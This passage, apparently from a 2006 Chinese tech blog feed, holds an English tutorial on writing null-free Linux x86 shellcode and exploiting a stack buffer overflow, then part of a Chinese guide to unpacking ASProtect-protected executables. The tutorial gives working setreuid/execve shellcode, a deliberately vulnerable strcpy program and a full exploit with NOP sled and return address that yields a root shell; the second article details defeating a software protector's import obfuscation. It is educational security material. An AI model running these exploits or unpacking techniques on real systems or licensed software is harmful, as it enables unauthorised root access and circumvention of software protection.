segment containing code instructions; and a stack segment, which provides a special memory area for storing data. This example uses only data and code segments. The operators section .data and section .text mark their beginnings. A data segment contains the declaration of two char variables: name and line, consisting of a set of bytes (see the db mark in the definition).<br /><br />The code segment starts from a declaration of an entry point, global _start. This tells the system that the application code starts at the _start label.<br /><br />The next steps are easy; to call open(), set the EAX register to the appropriate function code: 5. After that, pass parameters for the function. The most simple way of passing parameters is to use the registers EBX, ECX, and EDX. EBX gets the first function parameter, the address of the beginning of the filename string variable, which contains a full path to a file and a finishing zero char (most system functions operating with strings demand a trailing null). The ECX register gets the second parameter, giving information about file open mode (a constant O_WRONLY|O_APPEND in a numeric format). With all of the parameters set, the code calls interrupt 0x80. It will read the function code from EAX and calls an appropriate function. After completing the call, the application will continue, calling write(), close(), and exit() in exactly the same way.<br /></span>
		<br />
		<span class="tpc_content">
				<font color="blue">Running a Root Bourne Shell from Shellcode</font>
				<br />That was fun. Now it's time to translate the second program into assembly; one that executes setreuid() and execve() to run a root shell:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code5">section .data<br />name db '/bin/sh', 0<br /><br />section .text<br />global _start<br /><br />_start:<br />; setreuid(0, 0)<br />mov eax, 70<br />mov ebx, 0<br />mov ecx, 0<br />int 0x80<br /><br />; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />mov eax, 11<br />mov ebx, name<br />push 0<br />push name<br />mov ecx, esp<br />mov edx, 0<br />int 0x80</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code5'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />Most of this code is similar to the previous example except for the execve() function call. The same program segments are there, and the same execution method works for setreuid(). The second parameter of execve() is an array of two elements. It is reasonable to pass this through the stack, which first needs a zero value (push 0), and then an address for the variable name (push name). This is a stack, so remember to push parameters in reverse order--LIFO, or "last in, first out." When the system call pulls its parameters out, the first will be the name variable address, and then a zero value. A function must also know where to find its parameters. For that, this code uses the enhanced stack pointer (ESP) register, which always points to the top of the stack. The only other work is to copy the contents of the ESP register to ECX, which will be used as a second parameter when calling the 0x80 interrupt.<br /><br /><font color="blue">Eliminating Data Segments</font><br />That assembly code works completely. However, it is useless. You can compile it with nasm, execute it, and view the binary file in hex form with hexdump, which is itself a shellcode. The problem is that both programs use their own data segments, which means that they cannot execute inside another application. This means in chain that an exploit will not be able to inject the required code into the stack and execute it.<br /><br />The next step is to get rid of the data segment. There exists a special technique of moving a data segment into a code segment by using the jmp and call assembly instructions. Both instructions make a jump to a specified place in the code, but the call operation also puts a return address onto the stack. This is necessary for returning to the same place after the called function successfully executes to continue the program's execution. Consider the code:<br /><br />jmp two<br />one:<br />pop ebx<br /><br />[application code]<br /><br />two:<br />call one<br />db 'string'<br />At the beginning, the program execution jumps to a two label, attached to a call to the procedure one. There is no such procedure, in fact; however, there is another label with this name, which obtains control. At the moment of this call, the stack receives a return address: the address of the next instruction after call. In this code, the address is that of a byte string: db 'string'. This means that when the instructions located after one label execute, the stack already contains the address of a string. The only thing left to do is to retrieve this string and use it appropriately. Here's that trick in a modified version of the second example, named shell.asm:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code6">BITS 32<br />; setreuid(0, 0)<br />mov eax, 70<br />mov ebx, 0<br />mov ecx, 0<br />int 0x80<br />jmp two<br /><br />one:<br />pop ebx<br /><br />; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />mov eax, 11<br />push 0<br />push ebx<br />mov ecx, esp<br />mov edx, 0<br />int 0x80<br /><br />two:<br />call one<br /><br />db '/bin/sh', 0</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code6'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />As you can see, there are no more segments at all now. The string /bin/sh, which was previously in a data segment, now comes off of the stack and goes into the EBX register. (The code also has a new directive, BITS 32, which enables 32-bit processor optimization.)<br /><br /><br />"&gt; <br /><br /><br /><br /><font color="blue">Works Now</font><br />Compile the program with nasm:<br /><br />$ nasm shell.asm<br />And dump its code with hexdump:<br /><br />$ hexdump -C shell<br />Figure 1 shows a typical shellcode. The next step is to convert it into a better format by preceding each byte with \x, and then putting all of the code into a byte array. Now check that it works:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code7">char code[]=<br />"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"<br />"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"<br />"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"<br />"\x2f\x62\x69\x6e\x2f\x73\x68\x00";<br /><br />main() {<br />  int (*shell)();<br />  (int)shell = code;<br />  shell();<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code7'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />Try to compile and run it:<br /><br />$ gcc -o shellApp<br />$ ./shellApp<br />It works!<br /><br /><font color="blue">Not Yet Working: Eliminating NULL Bytes</font><br />Now the shellcode does not use the data segment and even works inside of a C tester program, but it still will not work inside a real exploit. The reason are the numerous NULL bytes (\x00). Most buffer overflow errors are related to C stdlib string functions: strcpy(), sprintf(), strcat(), and so on. All of these functions use the NULL symbol to indicate the end of a string. Therefore, a function will not read shellcode after the first occurring NULL byte.<br /><br />Thus, the next task is to get rid of all null bytes in the shellcode. The idea is simple: find pieces of code that cause null bytes to appear and change them. A mature developer, in most cases, can say why machine code contains zeroes, but it's easy to use a disassembler to identify such instructions:<br /><br />$ nasm shell.asm<br />$ ndisasm -b32 shell<br />00000000 B846000000     mov eax,0x46<br />00000005 BB00000000     mov ebx,0x0<br />0000000A B900000000     mov ecx,0x0<br />0000000F CD80         int 0x80<br />...<br />Executing this command will give the disassembled code of a program. It will contain three columns. The first column contains the instruction's address in hexadecimal form. It is not very important. The second column contains machine instructions, the same as shown with hexdump. The third column contains an assembly equivalent. This column will give you an idea which instructions contain null bytes in a shellcode.<br /><br />After a brief review of a dump contents, it becomes evident that most null bytes come from instructions that manage the contents of registers and the stack. This is no surprise; this code works in a 32-bit mode, so the computer allocates a four-byte memory space for each numeric value. Yet the code uses only values for which one byte is enough. For example, the beginning of the program has the instruction mov eax, 70 to put the value 70 into the EAX register. In the shellcode, this instruction looks like B8 46 00 00 00. B8 is the machine code of the instruction mov ax, and 46 00 00 00 is the value 70 in hexadecimal notation, padded with zeroes to the size of four bytes. Many null bytes appear for similar reasons.<br /><br />The solution for this problem is very simple. It's enough to remember that 32-bit registers (EAX, EBX, and other registers whose names begin with "E," for "enhanced") can be represented by 8-bit and 16-bit registers. It's enough to use a 16-bit register AX instead and even its low and high parts, AL and AH, which are one-byte registers. Just replace the instruction mov eax, 70 with mov al, 70 in all such places.<br /><br />It's important to be sure that the rest of the EAX register space does not contain any garbage; that is, the code must put a zero value into EAX without using any null bytes. The fastest and most effective way of doing this is with the XOR logical function: xor eax,eax will give the EAX register a zero value.<br /><br />Even after these modifications, the shellcode still contains zero bytes. The debugger shows that now the jmp instruction causes trouble:<br /><br />E91500 jmp 0x29 0000 add [bx+si],al<br />The trick is to use a short jump instruction instead of the usual jmp short. In short programs with simple structure these instructions work in absolutely the same way, and the machine code in this case will not contain zero bytes.<br /><br />You may now think that this shellcode is ideal, but at the end there is still one remaining zero byte. This zero byte occurs because the string bin/sh has a null byte indicating the end of the string. This is a definite requirement, because otherwise execve() will not work properly. You cannot just remove this byte. You can use one more assembler trick: at the compiling and binding stage, store any other symbol instead of zero, and convert it into zero while processing the program:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code8">jmp short stuff <br /><br />code:<br />pop esi<br />; address of string<br />; now in ESI<br /><br />xor eax,eax<br />; put zero into EAX<br /><br />mov byte [esi + 17],al<br />; count 18 symbols (index starts from zero)<br />; and putting a zero value there (EAX register equals to zero)<br />; The string will become This is my string0<br /><br />stuff:<br />call code<br /><br />db 'This is my string#'</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code8'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />After using this trick, the shellcode will contain no null bytes:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code9">BITS 32<br /><br />;setreuid(0, 0)<br />xor eax,eax<br />mov al, 70<br />xor ebx,ebx<br />xor ecx,ecx<br />int 0x80<br /><br />jmp short two<br /><br />one:<br />pop ebx<br /><br />; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />xor eax,eax<br />mov byte [ebx+7], al<br />push eax<br />push ebx<br />mov ecx, esp<br />mov al,11<br />xor edx,edx<br />int 0x80<br /><br />two:<br />call one<br />db '/bin/sh#'</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code9'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />After compiling this code, you can now see that it no longer contains null bytes. It's worth mentioning that the problem may arise not only because of null bytes, but because of other special symbols; for example, the end-of-line symbols, in some cases.<br /><br /><font color="blue">How It Works in Exploit</font><br />A buffer overflow exploit tries to write beyond a buffer on the stack so that when the function returns, it will jump to some code that most often starts a shell instead of returning to the function that called the current function. To understand how it works, you have to know how the stack works and how functions are called in C. The stack starts somewhere in the top of memory and the stack pointer moves down as the program pushes things onto the stack and back up as the code pops them off again. Given the C function:<br /><br /><font color="blue">void sum(int a,int b) {<br />  int c = a + b;<br />}</font><br /><br />The stack inside of sum() will look like this:<br /><br /><font color="red"><br />b<br />a<br />&lt;return address&gt;<br />&lt;ebp contents&gt;<br />c<br /></font><br /><br />The computer saves the contents of the EBP register to a stack before calling the sum() function because it will be used inside of the function, so it can be restored from the stack after returning from the function. The goal of an exploit is to change the return address. This is not possible in this case, because no matter what a and b are, the result cannot overflow c into the EBP contents on the stack and the return address. If c were a string instead, it might be possible to write past it. Here is an overflow-exploitable program:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code10">#include<br />&lt;stdio.h&gt;<br /><br />void sum(int a,int b) {<br />  int c = a + b;<br />}<br /><br />void bad_copy_string(char *s)<br />{<br />  char local[1024];<br />  strcpy(local,s);<br />  printf("string is %s\n",local);<br />}<br /><br />int main(int argc, char *argv[])<br />{<br />  sum(1,2);<br />  bad_copy_string(argv[1]);<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code10'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />The function copy_string makes a copy of the first command-line parameter of the program into a buffer of a fixed size and then prints it out. This might look stupid, but something like this is quite common for programs that need to perform actions based on external input, either from the command line or a socket connection.<br /><br />Compile this victim code and run it:<br /><br /><font color="firebrick">% gcc -o overflow overflow.c <br />% ./overflow 'All seems fine'<br />string is All seems fine</font><br /><br />Everything seems indeed right, but call it with a parameter longer than 1024 characters:<br /><br /><font color="green">% ./overflow `perl -e 'print "a" x 2000'`<br />string is aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />bash: segmentation fault (core dumped) ./overflow `perl -e 'print "a" x 2000'`</font><br /><br />The Perl script above generates a string of 2000 a symbols. Now run the core file through gdb:<br /><br /><font color="green">% gdb ./overflow core</font><br /><br />GNU gdb 2002-04-01-cvs<br />Copyright 2002 Free Software Foundation, Inc.<br />GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.<br />Type "show copying" to see the conditions.<br />There is absolutely no warranty for GDB. Type "show warranty" for details.<br />This GDB was configured as "i386-linux".<br />Core was generated by `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<br />aaaaaaaaaaaaaaaaaaaaaaa'.<br />Program terminated with signal 11, Segmentation fault.<br />Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.<br />Loaded symbols for /lib/libc.so.6<br />Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.<br />Loaded symbols for /lib/ld-linux.so.2<br />#0 0x61616161 in ?? ()<br /><br />The segmentation fault happened at the address 0x61616161--which is the string aaaa in hexidecimal. This means that the exploit can get the program to jump to an arbitrary address depending on what it receives as a parameter. It would be nice to make it jump to the beginning of the local buffer on the stack--but what is the address of the stack right now? gdb knows:<br /><br /><font color="green">(gdb) info register esp</font><br />esp         0xbffff334     0xbffff334<br />Now, the only other thing necessary to get the code to execute is the previously written shellcode. You can take the ready shell app and run an overflow victim program from it:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code11">#include &lt;stdlib.h&gt;<br /><br />static char shellcode[]=<br />"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\"<br />"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh#";<br /><br />#define NOP 0x90<br />#define LEN 1024+8<br />#define RET 0xbffff334<br /><br />int main()<br />{<br />  char buffer[LEN]; int i;<br /><br />  /* first fill up the buffer with NOPs */<br />  for (i=0;i&lt;LEN;i++)<br />    buffer[i] = NOP;<br /><br />  /* and then the shellcode */<br />  memcpy(&amp;buffer[LEN-strlen(shellcode)-4],shellcode,strlen(shellcode));<br /><br />  /* and finally the address to return to */<br />  *(int*)(&amp;buffer[LEN-4]) = RET;<br /><br />  /* run program with buffer as parameter */<br />  execlp("./overflow","./overflow",buffer,NULL);<br /><br />  return 0;<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code11'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />The shellcode[] symbol array contains the shellcode without any null bytes. It may differ slightly, depending on OS conditions. The main() function starts with a buffer that is the size of the local variable (1024 bytes) plus eight bytes for EBP and the return address. As the buffer is longer than the shellcode, the beginning needs a bunch of do-nothing machine code (NOP) operations. Then the function copies in the shellcode, and finally, the address of the beginning of the buffer. Now compile and run it:<br /><br />% gcc -o exploit exploit.c<br />% ./exploit<br />string is &lt;lots of garbage&gt;<br />Yahoo! A new Bourne shell opened! This is, of course, not much fun as the overflow program runs as yourself, but if it were a SUID root program, then you would now have a root shell. Try that:<br /><br />% chmod +s overflow<br />% su<br /># chown root overflow<br /># exit<br />% ./exploit<br />string is &lt;lots of garbage&gt;<br />sh# whoami<br />root<br />That's it! You became a root user on this machine without permission. If the victim machine is a remote one, this will not help. More advanced shellcode creates a listening socket and redirects stdin and stdout to it before calling execve /bin/sh--that way, you don't need a shell account on the machine and can simply direct telnet or nc at the machine and port to get a root shell.<br /><br /><font color="blue">Conclusion</font><br />In this article, I have reviewed the most important tricks that will be needed in writing shellcodes and using them in exploit. The key to success is a good understanding of the operating system under which the shellcode will run, as well as assembly programming. There is nothing complicated, though. It's also worth mentioning that you should only use these mentioned techniques for legal purposes and with the knowledge and consent of the machine's owner.<br /></span>
		<br />
<img src ="http://www.cnitblog.com/torch/aggbug/12835.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-06-25 16:56 <a href="http://www.cnitblog.com/torch/articles/12835.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>学脱ASProtect 2.1x SKE 壳必看文章</title><link>http://www.cnitblog.com/torch/articles/10627.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 15:32:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10627.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10627.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10627.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10627.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10627.html</trackback:ping><description><![CDATA[
		<p>
				<strong>学脱ASProtect 2.1x SKE 壳必看文章<br /><br /></strong>标 题: nspack3.5主程序脱壳分析(Aspr SKE 2.X)<br />发帖人:shoooo<br />时 间: 2005-12-11 13:26 <br />原文链接:[url]http://bbs.pediy.com/showthread.php?threadid=19313[/url] <br />详细信息: <br /><br />nspack 3.5 主程序脱壳介绍<br />xp sp2<br />flyodbg<br />Aspr SKE 2.X<br /><br /><br />零  需要哪里就重新来过重点分析哪里<br />come on let's go<br /><br /><br />一  PEiD可以不用， 但LordPE一定要先加载看看<br />.rsrc段上面有三个区段，没有名字，不过可以猜到是.text、.rdata和.data段，是VC的程序<br /><br /><br />二  看看能不能在OD下跑起来<br />OD载入nspack.exe，忽略所有异常，清除所有断点， 打上IsDebuggerPresent插件<br />F9运行  gogogo~<br />正常情况下能跑起来，alt+e看看加载的dll，看到有msvcrt.dll，没有发现mfc的dll<br />所以是普通VC或MFC静态<br />我猜我猜我猜猜猜<br /><br /><br />三  到oep看看<br />重来，OD截入，忽略所有...清除...打上..插件<br />到GetVersion的末尾retn下断<br /><br />    7C8114AB kernel32.GetVersion      64:A1 18000000   mov eax,dword ptr fs:[18]<br />    7C8114B1                          8B48 30          mov ecx,dword ptr ds:[eax+30]<br />    7C8114B4                          8B81 B0000000    mov eax,dword ptr ds:[ecx+B0]<br />    7C8114BA                          0FB791 AC000000  movzx edx,word ptr ds:[ecx+AC]<br />    7C8114C1                          83F0 FE          xor eax,FFFFFFFE<br />    7C8114C4                          C1E0 0E          shl eax,0E<br />    7C8114C7                          0BC2             or eax,edx<br />    7C8114C9                          C1E0 08          shl eax,8<br />    7C8114CC                          0B81 A8000000    or eax,dword ptr ds:[ecx+A8]<br />    7C8114D2                          C1E0 08          shl eax,8<br />    7C8114D5                          0B81 A4000000    or eax,dword ptr ds:[ecx+A4]<br />    7C8114DB                          C3               retn                              //这里下断<br /><br />F9运行，断下，F8返回，向上看看，看到oep了<br /><br />    00486C68                          55               push ebp<br />    00486C69                          8BEC             mov ebp,esp<br />    00486C6B                          6A FF            push -1<br />    00486C6D                          68 38FB4A00      push nSpack.004AFB38<br />    00486C72                          68 50554800      push nSpack.00485550<br />    00486C77                          64:A1 00000000   mov eax,dword ptr fs:[0]<br />    00486C7D                          50               push eax<br />    00486C7E                          64:8925 00000000 mov dword ptr fs:[0],esp<br />    00486C85                          83EC 58          sub esp,58<br />    00486C88                          53               push ebx<br />    00486C89                          56               push esi<br />    00486C8A                          57               push edi<br />    00486C8B                          8965 E8          mov dword ptr ss:[ebp-18],esp<br />    00486C8E                          FF15 6C724A00    call dword ptr ds:[4A726C]                      ; kernel32.GetVersion<br />    00486C94                          33D2             xor edx,edx                      // GetVersion返回到这里<br /><br />VC6会GetVersion，VC7会GetVersionExA，可以都在末尾下断，到时候看哪个像oep附近就是了<br /><br /><br />四  输入表<br />GetVersion是在[4A726C]，那么到那个地方向上看看，向下看看，找输入表的范围<br />结果<br />4A7000 到 4A7688<br />输入表没有加密 :)<br />有时候aspr SKE 2.X会把输入表加密，把一部分导入函数地址改的乱七八糟，可那些加密的地址是不存在的。<br />那它怎么用那里的导入函数呢? 其实它把代码中所有对加密导入函数的调用从原先的call [IAT]或jmp [IAT]<br />改成了call 00EA0000这种样子，从它自己的call 00EA0000进入导入函数，这样那些加密的导入函数就可以随便<br />写一个不存在的地址了。<br /><br />如果输入表加密了，你可以这样完整修复：<br />OD截入，忽略所有...清除...打上..插件<br />随便对一个导入函数地址下内存写断点，比如这里GetVersion的4A726C<br />断了若干次后到这里<br />    00C5764D        8902          mov dword ptr ds:[edx],eax                 ; // eax指向GetVersion的地址，写入ebx = 4A726C<br />    00C5764F        E9 20010000   jmp 00C57774<br /><br />    00C57774        8B45 0C       mov eax,dword ptr ss:[ebp+C]<br />    00C57777        8300 04       add dword ptr ds:[eax],4<br />    00C5777A        8D85 FAFEFFFF lea eax,dword ptr ss:[ebp-106]<br />    00C57780        3BF8          cmp edi,eax<br />    00C57782        74 07         je short 00C5778B<br />    00C57784        8BC7          mov eax,edi<br />    00C57786        E8 D9ADFDFF   call 00C32564<br />    00C5778B        5F            pop edi<br />    00C5778C        5E            pop esi<br />    00C5778D        5B            pop ebx<br />    00C5778E        8BE5          mov esp,ebp<br />    00C57790        5D            pop ebp<br />    00C57791        C2 1000       retn 10                                    // F8下来后这里返回<br /><br />返回后<br />    00C5795A        E8 59FCFFFF   call 00C575B8                              //关键的call 进去看<br />    00C5795F        0FB707        movzx eax,word ptr ds:[edi]                //上面返回后是回到这里<br />    00C57962        83C0 02       add eax,2<br />    00C57965        03F8          add edi,eax<br />    00C57967        8A1F          mov bl,byte ptr ds:[edi]<br />    00C57969        47            inc edi<br />    00C5796A        3A5E 34       cmp bl,byte ptr ds:[esi+34]<br />    00C5796D      ^ 0F85 77FFFFFF jnz 00C578EA                               //继续当前dll的下一个导入函数<br />    00C57973        8BDF          mov ebx,edi<br />    00C57975        8B03          mov eax,dword ptr ds:[ebx]<br />    00C57977        85C0          test eax,eax<br />    00C57979      ^ 0F85 0AFFFFFF jnz 00C57889                               //下一个dll<br /><br />C575B8这个call就是对输入表的处理<br /><br />    00C575B8        55            push ebp<br />    00C575B9        8BEC          mov ebp,esp<br />    00C575BB        81C4 F8FEFFFF add esp,-108<br />    00C575C1        53            push ebx<br />    00C575C2        56            push esi<br />    00C575C3        57            push edi<br />    00C575C4        8B55 14       mov edx,dword ptr ss:[ebp+14]<br />    00C575C7        8B5D 08       mov ebx,dword ptr ss:[ebp+8]<br />    00C575CA        8DBD FAFEFFFF lea edi,dword ptr ss:[ebp-106]<br />    00C575D0        8BC2          mov eax,edx<br />    00C575D2        48            dec eax<br />    00C575D3        83E8 02       sub eax,2<br />    00C575D6        0FB630        movzx esi,byte ptr ds:[eax]<br />    00C575D9        8B45 10       mov eax,dword ptr ss:[ebp+10]<br />    00C575DC        83E8 02       sub eax,2<br />    00C575DF        0FB600        movzx eax,byte ptr ds:[eax]<br />    00C575E2        3B43 2C       cmp eax,dword ptr ds:[ebx+2C]<br />    00C575E5        76 06         jbe short 00C575ED                         //上面不去管它，这个跳转肯定满足<br /><br />    00C575ED        33C0          xor eax,eax<br />    00C575EF        8A43 3B       mov al,byte ptr ds:[ebx+3B]<br />    00C575F2        3BF0          cmp esi,eax                                // 这里开始了4种情况的比较<br />    00C575F4        75 5E         jnz short 00C57654<br /><br />C575F2的 cmp esi, eax开始了4种类型的比较<br />当前导入函数的类型是放在esi中，你可以在这里下个断点，然后一个一个看下来<br />第1种类型：用第1个密钥，还原真实导入函数地址，这里不防设esi值为1<br />第2种类型：用第2个密钥，还原真实导入函数地址，这里不防设esi值为2<br />第3种类型：用第2个密钥，不作任何处理，这里不防设esi值为3<br />第4种类型：GetProcAddress，这里不防设esi值为4<br /><br />可见那些加密的导入函数地址，也就是第3种类型，与其说是加密，不如说是壳没有去处理<br />既然它和第2种类型处理方式一样，可以在cmp esi, eax这个点，修改esi中的值，把第3种<br />情况改成第2种情况就可以了<br />或者你也可以跑下去，把一些jnz或je改成magic jmp，让第3种情况跑到第2种情况也可以<br /><br />需要说明的是esi的对每个aspr加壳的程序都是随机的，只要多看几个，就知道是哪个改哪个了<br /><br /><br /><br />五  取得call 00EA0000的所有地址<br />按照上面所说的，可以在GetVerion返回后dump出来，然后用ImortREC修复输入表，把oep 86c68写回去<br />不妨叫做unpack1.exe，用od载它跑一下，它会告诉你call 00EA0000挂了，然后按F12(pause)，从堆栈的<br />返回地址知道是这个让你挂了<br />    00489AAB        E8 5065A100   call 00EA0000<br />    00489AB0        1283 4E04FF6A adc al,byte ptr ds:[ebx+6AFF044E]<br /><br />EA0000是什么呢？<br />它是把导入函数调用的变形，原来的call [IAT] 和 jmp [IAT]的变形<br />EA0000是壳用VirtualAlloc的空间，不在区段中<br />在我的机机子上现在是call 00EA0000，在你的机子上就可能是call 1230000<br />也就是说，call 00EA0000是壳经过计算后写入的<br />于是我想看看，在它写入call 00EA0000前是什么样子<br /><br /><br />OD载入nspack.exe，忽略所有异常，清除所有断点， 打上IsDebuggerPresent插件<br />对489AAC下内存写入断点 (因为489AAB是'E8'，我们要的是后4个字节)<br /><br />若干次后会断在这里<br />    00C5BAD3        8945 00       mov dword ptr ss:[ebp],eax           // 断在这儿：ebp指向489AAC，eax写入后，使那个地方变成call 00EA0000<br />    00C5BAD6        6A 0A         push 0A<br />    00C5BAD8        E8 7F9AFEFF   call 00C4555C<br />    00C5BADD        8BC8          mov ecx,eax<br />    00C5BADF        038B E4000000 add ecx,dword ptr ds:[ebx+E4]<br />    00C5BAE5        8BD6          mov edx,esi<br />    00C5BAE7        8BC3          mov eax,ebx<br />    00C5BAE9        E8 8EE5FFFF   call 00C5A07C<br />    00C5BAEE        FF0C24        dec dword ptr ss:[esp]<br />    00C5BAF1        03B3 E4000000 add esi,dword ptr ds:[ebx+E4]<br />    00C5BAF7        833C24 00     cmp dword ptr ss:[esp],0<br />    00C5BAFB      ^ 0F87 55FEFFFF ja 00C5B956                          //如果还有需要处理就跳上去<br />    00C5BB01        53            push ebx<br />    00C5BB02        E8 5D000000   call 00C5BB64<br />    00C5BB07        0183 EC000000 add dword ptr ds:[ebx+EC],eax<br />    00C5BB0D        B0 01         mov al,1<br />    00C5BB0F        83C4 24       add esp,24<br />    00C5BB12        5D            pop ebp<br />    00C5BB13        5F            pop edi<br />    00C5BB14        5E            pop esi<br />    00C5BB15        5B            pop ebx<br />    00C5BB16        C3            retn                                 //这里结束<br /><br /><br />正如我所说，call 00EA0000完全是在代码段解码后，申请空间，现在我申请到的是EA0000<br />那么它就将需要变形的地方计算后写成call 00EA0000，如果你申请到的是1230000，那么你<br />是call 1230000<br /><br />断在这里，我当然想看一看在改写成call 00EA0000之前，那些地址是不是正常的<br />很可惜，那里在改写成call 00EA0000，本身就是乱掉的。<br />或者在某个时候能知道那些变形地址原先的真实情况，可惜我找不到。<br />也许只有作者知道在哪里<br />也许根本就找不到<br />因为根本就不需要<br />对于call 00EA0000，它加密前只要知道2件事，1.本身所在的地址 2.IAT中的位置<br />对于call 00EA0000，现在也只要知道2件事，1.本身所在的地址 2.最后要去的导入函数的地址<br />它没有理由记录IAT中的位置<br />我们要做的是找出最后到达的导入函数的地址，然后找出它在IAT中的位置<br />改成原先的call [IAT] 或 jmp [IAT]<br /><br />回到正题，当我们断下时，前面可能已经处理若干个了<br />要想得到全部的表<br />你有好几种选择<br />1. 到oep后，写一段代码搜索出所有的call 00EA0000的地址<br />2. 想办法第一时间断在上面这个地方，即00C5BAD3，ebp-1就是变形的地址，保存所有的ebp-1<br />3. 也许内存中本身存在这张表，我没有去找，你可以找找<br /><br />要找全他们并不难:)<br /><br />啊，还有一个要说明的<br />在写入每一处的call 00EA0000时，上面的流程会经过这里<br />    00C5B981        FFD2          call edx                           //call edx 结果在eax<br />    00C5B983        807B 20 00    cmp byte ptr ds:[ebx+20],0         // eax 可能是1或0<br />    00C5B987        0F85 3D010000 jnz 00C5BACA<br /><br />如果是1，当前这个call 00EA0000处运行时，会重新回到调用地址，再进入导入函数<br />如果是0，当前这个call 00EA0000进入导入函数后出来(好像是废话)，不过这种方式比较邪恶，它可能做更多的事情<br />下面我会讲到<br /><br /><br /><br />六  call 00EA0000的修复<br />有没有想过一个有意思的问题，所有这样的调用都是进入EA0000一个地方，但是壳却知道最后<br />目的地址是哪一个导入函数，它是怎么判断的呢？<br />当到了EA0000，壳能看到什么？<br />1. 参数<br />2. 返回地址<br />第1种情况：鬼知道我会传什么参数，多少个参数，它不能作为评判标准的<br />第2种情况：只有你了，Aspr存着一张表，它记录了所有call 00EA0000的返回地址和最后导入函数的1对1关系<br /><br />它是加密的<br />我们要做的是找出这张表，或者找到1个点能确定它们1对1的关系<br /><br />简单说一下进入EA0000后发生了什么，一共三层<br /><br />第一层：保存所有当前寄存器 (出来后还要继续运行的，不能影响后面，不过它不是明目张胆的pushad)<br />第二层：1. 决定是哪一种方式的导入函数调用<br />           a. 第一种方式：将call 00EA0000 变成call F00004之类，出来后再次从原地进入F00004进入导入函数<br />           b. 第二种方式：直接带着参数进入导入函数<br />        2. 决定这个调用是call (ff15)还是jmp (ff25)<br />           不要以为C的都是call，delphi的都是jmp<br />           c. 如果是call (ff15)，返回地址要+1 ，比如inc [esp]，因为call 00EA0000 占5个字节，call (ff15)占6个字节<br />           d. 如果是jmp (ff25)，要esp+4，想一下就知道原因了:)<br />        3. 如果是1.b的情况，可能有更邪恶的对下一行的偷代码，我一直没有找到好的方式解决它:(<br />第三层：恢复所有的寄存器返回<br /><br /><br />对于第一层的和第三层的操作，只要一路F7即可<br />当你看到<br />    00EA0166        2BDA          sub ebx,edx<br />    00EA0168        FFD3          call ebx                  //F7进入第二层<br 